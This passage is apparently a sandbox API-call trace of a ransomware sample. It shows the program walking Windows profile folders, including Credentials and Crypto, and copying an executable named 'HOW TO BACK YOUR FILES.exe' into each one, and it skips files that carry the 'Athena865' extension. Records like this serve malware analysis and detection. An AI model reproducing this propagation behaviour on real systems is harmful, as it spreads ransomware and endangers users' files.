ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.107] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.107] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.107] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0103.108] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0103.108] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0103.108] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0103.108] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0103.108] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.108] ReleaseMutex (hMutex=0xec) returned 1 [0103.108] CloseHandle (hObject=0xec) returned 1 [0103.109] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\LocalLow") returned="C:\\Documents and Settings\\Default\\AppData\\LocalLow" [0103.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec10 | out: hHeap=0x4f0000) returned 1 [0103.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad50 | out: hHeap=0x4f0000) returned 1 [0103.109] lstrlenW (lpString="C:\\Documents and Settings\\Default\\AppData\\LocalLow") returned 50 [0103.109] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D556B548964C9B5D8855655262C99DAB") returned 0xec [0103.109] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.109] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\AppData\\LocalLow" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\LocalLow") returned="C:\\Documents and Settings\\Default\\AppData\\LocalLow" [0103.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.109] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\locallow\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.110] GetLastError () returned 0x0 [0103.110] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.111] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.111] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77d1a20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77d1a20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.111] lstrcpyW (in: lpString1=0x241e8ae, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.111] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.111] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.111] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.113] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0103.114] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.114] ReleaseMutex (hMutex=0xec) returned 1 [0103.114] CloseHandle (hObject=0xec) returned 1 [0103.114] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\Roaming") returned="C:\\Documents and Settings\\Default\\AppData\\Roaming" [0103.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec80 | out: hHeap=0x4f0000) returned 1 [0103.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ad68 | out: hHeap=0x4f0000) returned 1 [0103.114] lstrlenW (lpString="C:\\Documents and Settings\\Default\\AppData\\Roaming") returned 49 [0103.114] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\654592BE2F7AF2CA6BA9212E8F4588E3") returned 0xec [0103.114] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.114] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\AppData\\Roaming" | out: lpString1="C:\\Documents and Settings\\Default\\AppData\\Roaming") returned="C:\\Documents and Settings\\Default\\AppData\\Roaming" [0103.114] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.114] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.115] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\roaming\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.115] GetLastError () returned 0x0 [0103.115] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.116] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf42440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf42440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.116] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0103.116] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0103.116] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0103.116] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.116] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.116] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.116] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.116] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Roaming\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\appdata\\roaming\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.117] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data\\Identities") returned="C:\\Documents and Settings\\Default\\Application Data\\Identities" [0103.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519800 | out: hHeap=0x4f0000) returned 1 [0103.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c728 | out: hHeap=0x4f0000) returned 1 [0103.117] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Application Data\\Identities") returned 61 [0103.117] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DBF8B02C72589847E3122ECC6C67C7BE") returned 0xec [0103.117] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.117] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data\\Identities") returned="C:\\Documents and Settings\\Default\\Application Data\\Identities" [0103.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.118] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\identities\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.118] GetLastError () returned 0x0 [0103.118] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.119] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.119] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Application Data\\Identities\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.119] lstrcpyW (in: lpString1=0x241e8c4, lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0103.119] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="\\" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0103.119] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" [0103.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.121] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\Default\\Application Data\\Microsoft" [0103.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519888 | out: hHeap=0x4f0000) returned 1 [0103.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c710 | out: hHeap=0x4f0000) returned 1 [0103.122] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Application Data\\Microsoft") returned 60 [0103.122] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C139B71828561B854AC9200CA13B54F6") returned 0xec [0103.122] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.122] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\Default\\Application Data\\Microsoft" [0103.122] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.122] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.123] GetLastError () returned 0x0 [0103.123] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.123] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.123] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc77f7b80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc77f7b80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.124] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials" [0103.124] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0103.124] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0103.124] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.127] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto" [0103.127] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0103.127] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Crypto\\HOW TO BACK YOUR FILES.exe") returned="Crypto\\HOW TO BACK YOUR FILES.exe" [0103.127] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.130] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0103.130] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0103.130] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0103.130] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.133] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Protect" | out: lpString1="Protect") returned="Protect" [0103.133] lstrcatW (in: lpString1="Protect", lpString2="\\" | out: lpString1="Protect\\") returned="Protect\\" [0103.133] lstrcatW (in: lpString1="Protect\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Protect\\HOW TO BACK YOUR FILES.exe") returned="Protect\\HOW TO BACK YOUR FILES.exe" [0103.133] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.135] lstrcpyW (in: lpString1=0x241e8c2, lpString2="SystemCertificates" | out: lpString1="SystemCertificates") returned="SystemCertificates" [0103.135] lstrcatW (in: lpString1="SystemCertificates", lpString2="\\" | out: lpString1="SystemCertificates\\") returned="SystemCertificates\\" [0103.135] lstrcatW (in: lpString1="SystemCertificates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SystemCertificates\\HOW TO BACK YOUR FILES.exe") returned="SystemCertificates\\HOW TO BACK YOUR FILES.exe" [0103.135] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Application Data\\Microsoft\\SystemCertificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\application data\\microsoft\\systemcertificates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.137] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default\\Documents\\My Music") returned="C:\\Documents and Settings\\Default\\Documents\\My Music" [0103.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a8 | out: hHeap=0x4f0000) returned 1 [0103.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c788 | out: hHeap=0x4f0000) returned 1 [0103.138] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Documents\\My Music") returned 52 [0103.138] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\113925D8AB52F1592A23BF489C704E32") returned 0xec [0103.138] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.138] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\Default\\Documents\\My Music") returned="C:\\Documents and Settings\\Default\\Documents\\My Music" [0103.138] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.138] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.138] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.139] GetLastError () returned 0x0 [0103.139] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.139] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.139] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.140] lstrcpyW (in: lpString1=0x241e8b2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.140] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.140] lstrlenW (lpString="Athena865") returned 9 [0103.140] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.140] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Documents and Settings\\Default\\Documents\\My Pictures") returned="C:\\Documents and Settings\\Default\\Documents\\My Pictures" [0103.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c770 | out: hHeap=0x4f0000) returned 1 [0103.140] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Documents\\My Pictures") returned 55 [0103.140] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E6CAF3670C3430E318CD93AC64FF242D") returned 0xec [0103.140] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.140] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Documents\\My Pictures" | out: 